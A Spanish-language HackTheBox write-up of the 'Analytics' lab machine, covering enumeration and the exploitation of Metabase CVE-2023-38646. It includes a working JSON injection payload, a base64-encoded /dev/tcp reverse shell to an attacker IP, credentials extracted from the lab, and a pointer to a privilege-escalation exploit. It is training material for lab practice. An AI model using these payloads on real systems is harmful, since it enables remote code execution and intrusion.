🌐
My Pentest Book
  • πŸ’‘I changed my website
  • πŸ“„WriteUps
    • πŸ΄β€β˜ οΈHTB - HackTheBox
      • ⬛HTB - Advanced Labs
        • Endgames
          • P.O.O.
      • 🟨HTB - Runner
      • 🟩HTB - Usage
      • 🟩HTP - Active (Incomplete)
      • 🟨HTB - Scrambled
      • πŸŸ₯HTB - FormulaX (Incomplete)
      • πŸŸ₯HTB - Office
      • 🟩HTB - Perfection
      • 🟨HTB - WifineticTwo
      • 🟨HTB - Jab (Incomplete)
      • 🟩HTB - Buff
      • 🟨HTB - Hospital
      • 🟩HTB - Crafty
      • 🟩HTB - Bizness
      • 🟩HTB - Devvortex
      • 🟩HTB - CozyHosting
      • 🟩HTB - Analytics
      • 🟩HTB - Codify
      • 🟨HTB - Surveillance
      • 🟨HTB - Monitored
Con tecnologΓ­a de GitBook
En esta pΓ‘gina
  • InformaciΓ³n General
  • Enumeration
  • Exploitation
  • Executing Payload
  • Privilege Escalation

ΒΏTe fue ΓΊtil?

Editar en GitHub
  1. WriteUps
  2. HTB - HackTheBox

HTB - Analytics

https://app.hackthebox.com/machines/Analytics

AnteriorHTB - CozyHostingSiguienteHTB - Codify

ΒΏTe fue ΓΊtil?

InformaciΓ³n General

  • Nombre de la MΓ‘quina: Analytics

  • IP de la MΓ‘quina: 10.10.11.233

  • Sistema Operativo: Linux

  • Dificultad: Easy

  • Fecha de PublicaciΓ³n: 07 oct 2023


Enumeration

Establecer el objetivo

Primero, establecemos el objetivo utilizando el comando settarget con la direcciΓ³n IP de la mΓ‘quina objetivo:

settarget 10.10.11.233 Analytics

Ping de reconocimiento

Realizamos un ping a la mΓ‘quina objetivo para verificar la conectividad y obtener informaciΓ³n sobre la ruta utilizando la opciΓ³n -R para incluir la ruta de retorno:

ping -c 1 10.10.11.233 -R

Escaneo de puertos con Nmap

Luego, realizamos un escaneo de puertos utilizando Nmap para identificar los puertos abiertos en la mΓ‘quina objetivo. Utilizamos las opciones -p- para escanear todos los puertos, --open para mostrar solo los puertos abiertos, -sS para un escaneo de tipo TCP SYN, --min-rate 5000 para establecer la velocidad mΓ­nima de paquetes y -vvv para un nivel de verbosidad alto. AdemΓ‘s, utilizamos -n para desactivar la resoluciΓ³n de DNS, -Pn para no realizar el escaneo de ping, y -oG allPorts para guardar la salida en un archivo con formato Greppable:

sudo nmap -p- --open -sS --min-rate 5000 -vvv  -n -Pn 10.10.11.233 -oG allPorts

Escaneo detallado con Nmap

Posteriormente, realizamos un escaneo mΓ‘s detallado de los puertos identificados utilizando la opciΓ³n -sCV para detecciΓ³n de versiones y scripts de enumeraciΓ³n de servicios. EspecΓ­ficamente, indicamos los puertos a escanear con -p __PORTS__ (reemplazando __PORTS__ con los puertos identificados en el paso anterior) y guardamos la salida en un archivo de texto con el nombre targeted:

sudo nmap -sCV -p22,80 10.10.11.233 -oN targeted
cat targeted -l java

Para aΓ±adir la entrada "10.10.11.233 analytical.htb" al archivo /etc/hosts, puedes usar el siguiente comando en la terminal:

echo "10.10.11.233 analytical.htb" | sudo tee -a /etc/hosts

Este comando aΓ±ade la direcciΓ³n IP 10.10.11.233 asociada al nombre de host analytical.htb al archivo /etc/hosts de tu sistema.

Para realizar un descubrimiento de directorios en un sitio web utilizando Gobuster, puedes utilizar el siguiente comando:

gobuster dir -u http://analytical.htb/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 50

Este comando utiliza Gobuster para realizar un escaneo de directorios en el sitio web http://analytical.htb/. Utiliza el archivo de palabras /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt como lista de palabras clave para la bΓΊsqueda. La opciΓ³n -t 50 indica que se deben utilizar 50 threads simultΓ‘neos para acelerar el proceso.

TIP: InstalaciΓ³n de SecLists con apt-get

Para instalar SecLists en sistemas basados en Debian (como Ubuntu) utilizando apt-get, puedes seguir estos pasos:

  1. Actualiza la lista de paquetes disponibles:

    sudo apt-get update
  2. Instala SecLists:

    sudo apt-get install seclists

Con estos pasos, SecLists se instalarΓ‘ en tu sistema y podrΓ‘s acceder a la lista de palabras clave en el directorio /usr/share/seclists/.

Para realizar un descubrimiento de subdominios utilizando Gobuster, puedes utilizar el siguiente comando:

gobuster dns -d analytical.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -t 20

Este comando utiliza Gobuster en modo DNS para buscar subdominios en el dominio analytical.htb. Utiliza el archivo de palabras /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt como lista de posibles subdominios. La opciΓ³n -t 20 indica que se deben utilizar 20 threads simultΓ‘neos para acelerar el proceso.

Navegando en la pΓ‘gina de analytical.htb, notamos que al intentar acceder al login, este redirecciona a data.analytical.htb

Antes de poder acceder a data.analytical.htb, es necesario agregar la siguiente entrada al archivo de hosts de nuestro sistema:

echo "10.10.11.233 data.analytical.htb" | sudo tee -a /etc/hosts

Esta acciΓ³n nos permite redirigir el trΓ‘fico hacia data.analytical.htb correctamente.

Exploitation

Durante la fase de reconocimiento, descubrimos que Metabase tiene una vulnerabilidad conocida, #CVE-2023-38646. Decidimos verificar si data.analytical.htb es vulnerable a esta CVE realizando pruebas especΓ­ficas para confirmarlo.

Tras identificar que data.analytical.htb podrΓ­a ser vulnerable al #CVE-2023-38646, profundizamos en nuestro anΓ‘lisis y descubrimos que el principal problema reside en la exposiciΓ³n indebida del setup token a travΓ©s de /api/session/properties. Este token, que idealmente no deberΓ­a estar accesible sin autenticaciΓ³n, es crΓ­tico para la configuraciΓ³n inicial de Metabase y, por lo tanto, su exposiciΓ³n representa una grave vulnerabilidad de seguridad.

ExtracciΓ³n del Setup Token

Realizamos una peticiΓ³n GET a /api/session/properties para extraer el setup token, encontrando que, efectivamente, el token estΓ‘ disponible:

curl http://data.analytical.htb/api/session/properties

La respuesta incluye el setup token, que no deberΓ­a estar expuesto. En este caso, el token se parece a 249fa03d-fd94-4d5b-b94f-b4ebf3df681f.

ExplotaciΓ³n de la Vulnerabilidad

Con el setup token en nuestras manos, procedemos a explotar la vulnerabilidad realizando una peticiΓ³n GET a /api/setup/validate con el siguiente cuerpo JSON:

{
    "token": "249fa03d-fd94-4d5b-b94f-b4ebf3df681f",
    "details": {
        "is_on_demand": false,
        "is_full_sync": false,
        "is_sample": false,
        "cache_ttl": null,
        "refingerprint": false,
        "auto_run_queries": true,
        "schedules": {},
        "details": {
            "db": "zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1\\;CREATE TRIGGER payload BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\njava.lang.Runtime.getRuntime().exec('curl 10.10.14.80')\n$$--=x",
            "advanced-options": false,
            "ssl": true
        },
        "name": "test",
        "engine": "h2"
    }
}

Esta consulta utiliza el setup token para realizar una configuraciΓ³n maliciosa que aprovecha la vulnerabilidad, en este caso, intentando ejecutar un comando que podrΓ­a, por ejemplo, realizar una peticiΓ³n a un servidor controlado por el atacante. En este caso inyectamos un CURL.

Implementando un Reverse Shell Codificado en Base 64

DespuΓ©s de confirmar que la inyecciΓ³n de comandos mediante curl fue exitosa, avanzamos un paso mΓ‘s en nuestra prueba de concepto, ejecutando un reverse shell. Para ello, optamos por codificar el comando del reverse shell en base 64, lo que nos permite evadir potenciales mecanismos de filtrado de entrada y asegurar la correcta ejecuciΓ³n del comando en el servidor objetivo.

CodificaciΓ³n del Comando en Base 64

Primero, generamos la cadena en base 64 del comando del reverse shell. Por ejemplo, para un shell Bash, el comando podrΓ­a ser algo asΓ­ como:

sh -i &> /dev/tcp/10.10.14.80/6666 0>&1

Lo codificamos en base 64 utilizando una herramienta de lΓ­nea de comandos. Por ejemplo, en Linux, podrΓ­as usar:

echo -n 'sh -i &> /dev/tcp/10.10.14.80/6666 0>&1' | base64

Esto generarΓ‘ una cadena codificada que se verΓ‘ algo como esto (el resultado real variarΓ‘):

c2ggLWkgej4gL2Rldi90Y3AvMTAuMTAuMTQuODAvNjY2NiAwPiYx

Executing Payload

Con la cadena en base 64 lista, modificamos nuestra peticiΓ³n a /api/setup/validate para ejecutar el reverse shell codificado. El comando ejecutado serΓ­a una decodificaciΓ³n y ejecuciΓ³n del string en base 64, algo asΓ­ como:

{
    "token": "TOKEN",
    "details": {
        ...
        "details": {
            "db": "zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1\\;CREATE TRIGGER payload BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\njava.lang.Runtime.getRuntime().exec('echo c2ggLWkgej4gL2Rldi90Y3AvMTAuMTAuMTQuODAvNjY2NiAwPiYx | base64 -d | sh')\n$$--=x",
            ...
        },
        ...
    }
}

Durante la exploraciΓ³n del sistema, ejecutamos el comando ls -la y encontramos un archivo llamado .dockerenv. Este archivo es una seΓ±al clara de que nos encontramos dentro de un contenedor Docker.

Usamos los tips de

Al revisar las variables de entorno del contenedor Docker utilizando el comando env, logramos extraer las credenciales de acceso. Descubrimos que el usuario es Metalytics y la contraseΓ±a es An4lytics_ds20223#.

Intento de ConexiΓ³n por SSH con Credenciales ExtraΓ­das

Utilizamos las credenciales de usuario que obtuvimos previamente para intentar conectarnos por SSH al sistema objetivo. Para ello, ejecutamos el siguiente comando desde nuestra mΓ‘quina local:

ssh Metalytics@analytical.htb

Para obtener informaciΓ³n sobre el sistema operativo del servidor analytical.htb, ejecutamos el siguiente comando en la conexiΓ³n por SSH:

cat /etc/os-release

AdemΓ‘s hacemos ls -la para encontrar la primera flag user.txt

AdemΓ‘s de consultar el archivo /etc/os-release, ejecutamos el comando uname -a para obtener informaciΓ³n adicional sobre el sistema operativo y el kernel del servidor analytical.htb. Este comando nos proporciona detalles especΓ­ficos sobre la versiΓ³n del kernel, la arquitectura del sistema y otra informaciΓ³n relevante que nos ayuda a comprender mejor el entorno objetivo.

Privilege Escalation

Yo decidΓ­ acceder al repositorio y copiar el contenido del exploit y analizarlo con la IA, luego de esto procedΓ­ a descargarlo desde SSH:

EjecuciΓ³n del Exploit para CVE-2023-2640 y CVE-2023-32629

DespuΓ©s de subir el exploit.sh a la mΓ‘quina objetivo, le otorgamos permisos de ejecuciΓ³n utilizando el comando chmod +x y luego ejecutamos el exploit utilizando ./cve-2023-2640.sh.

Durante nuestra investigaciΓ³n en lΓ­nea, encontramos un exploit.sh desarrollado por g1vi en su repositorio de GitHub ().

πŸ“„
πŸ΄β€β˜ οΈ
🟩
https://github.com/g1vi/CVE-2023-2640-CVE-2023-32629/tree/main